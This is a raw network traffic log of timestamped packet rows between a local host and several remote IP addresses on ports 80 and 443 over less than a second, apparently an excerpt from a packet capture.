Oct 30, 2024 23:11:52.508183002 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.508260012 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.508272886 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.508296967 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.508331060 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.508430004 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.508482933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.508493900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.508536100 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.514333010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.514348030 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.514377117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.514400005 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.544615984 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.545067072 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.545089960 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.545598030 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.545603037 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.549734116 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.549781084 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.549787045 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.549799919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.549839020 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.549880981 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.549891949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.549928904 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.550179958 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550190926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550200939 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550228119 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.550266981 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.550822973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550833941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550844908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550863981 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550901890 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.550916910 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550930023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550940990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.550952911 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.550980091 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.551152945 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.551163912 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.551173925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.551187038 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.551213980 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.551228046 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.551295042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.551306963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.551326990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.551337957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.551366091 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.551386118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.552304983 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.552315950 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.552352905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.552369118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.608079910 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.608611107 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.608633041 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.609452963 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.609457970 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.626378059 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626418114 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626430035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626451015 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.626481056 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.626555920 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626569986 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626581907 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626624107 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.626852036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626863003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626873016 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626883984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.626899004 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.626924992 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.642476082 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.642947912 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.642972946 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.643408060 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.643412113 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.668152094 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668205976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.668287992 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668308973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668335915 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.668354034 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.668375969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668389082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668400049 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668416023 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.668447971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668448925 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.668489933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668500900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668543100 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.668695927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668740988 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.668768883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668781996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.668812990 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.668992043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669004917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669074059 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.669207096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669249058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.669255018 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669265032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669292927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.669303894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.669475079 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669487000 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669523954 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.669606924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669619083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669712067 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.669878006 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669889927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669926882 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.669984102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.669996977 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.670007944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.670021057 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.670032978 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.670053959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.670073032 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.670459986 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.670511961 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.679065943 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.679419994 CET	50014	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.679436922 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.679833889 CET	50014	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.679837942 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.684782982 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.684832096 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.684915066 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.684926033 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.684966087 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.685055017 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.685183048 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.685194969 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.685204029 CET	50011	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.685208082 CET	443	50011	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.687865973 CET	50017	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.687895060 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.688013077 CET	50017	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.688177109 CET	50017	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.688189030 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.698095083 CET	443	50009	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:52.698499918 CET	50009	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:52.698513985 CET	443	50009	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:52.699139118 CET	50009	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:52.699142933 CET	443	50009	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:52.699218988 CET	50009	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:52.699227095 CET	443	50009	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:52.728005886 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.728264093 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.728276014 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.728636026 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.728935957 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.729001045 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.729098082 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.739248991 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.739414930 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.739511967 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.739525080 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.739744902 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.739938021 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.739953041 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.739969015 CET	50012	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.739974022 CET	443	50012	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.742393017 CET	50018	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.742432117 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.742605925 CET	50018	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.742825985 CET	50018	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.742840052 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.744601965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.744613886 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.744628906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.744656086 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.744668961 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.744674921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.744689941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.744708061 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.744733095 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.744927883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.745068073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.745079041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.745090008 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.745121002 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.745137930 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.775346041 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.779134989 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.779160023 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.779202938 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.779212952 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.779261112 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.779457092 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.779457092 CET	50013	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.779472113 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.779479980 CET	443	50013	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.781848907 CET	50019	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.781878948 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.782005072 CET	50019	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.782124043 CET	50019	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.782135963 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.786462069 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786490917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786504030 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786514044 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.786545038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.786604881 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786617994 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786645889 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.786674976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.786741018 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786752939 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786772013 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786788940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786793947 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.786802053 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.786844969 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.786844969 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.787336111 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787383080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.787543058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787555933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787666082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787692070 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787704945 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787727118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.787746906 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.787836075 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787848949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787859917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.787893057 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.788028955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788041115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788053036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788080931 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.788083076 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788095951 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.788096905 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788115025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788137913 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.788167953 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.788492918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788536072 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.788558006 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788569927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.788603067 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.811837912 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.811897039 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.812084913 CET	50014	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.812118053 CET	50014	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.812129974 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.812138081 CET	50014	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.812141895 CET	443	50014	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.815104961 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.815146923 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.815253019 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.815390110 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:52.815406084 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:52.863169909 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.863193035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.863205910 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.863244057 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.863265038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.863277912 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:52.863329887 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.863343000 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.863353968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.863368034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.863380909 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.863409996 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.863426924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.863579988 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.863878012 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:52.863903999 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:52.864476919 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:52.864485025 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:52.864561081 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:52.864572048 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:52.869365931 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.869393110 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.869443893 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.869462967 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.869477034 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.869530916 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.870440006 CET	50015	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.870451927 CET	443	50015	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.876281977 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.876296997 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.876400948 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.876584053 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:52.876595974 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:52.904570103 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904592991 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904607058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904623985 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.904653072 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.904668093 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904680967 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904727936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.904737949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904846907 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.904885054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904897928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904931068 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.904974937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904989004 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.904999971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905008078 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905040026 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905072927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905319929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905324936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905354023 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905378103 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905391932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905426979 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905483007 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905494928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905528069 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905553102 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905765057 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905824900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905837059 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905842066 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905863047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905879021 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.905934095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905946016 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.905977011 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.906234026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.906276941 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.906291962 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.906305075 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.906339884 CET	49980	80	192.168.2.5	185.215.113.206
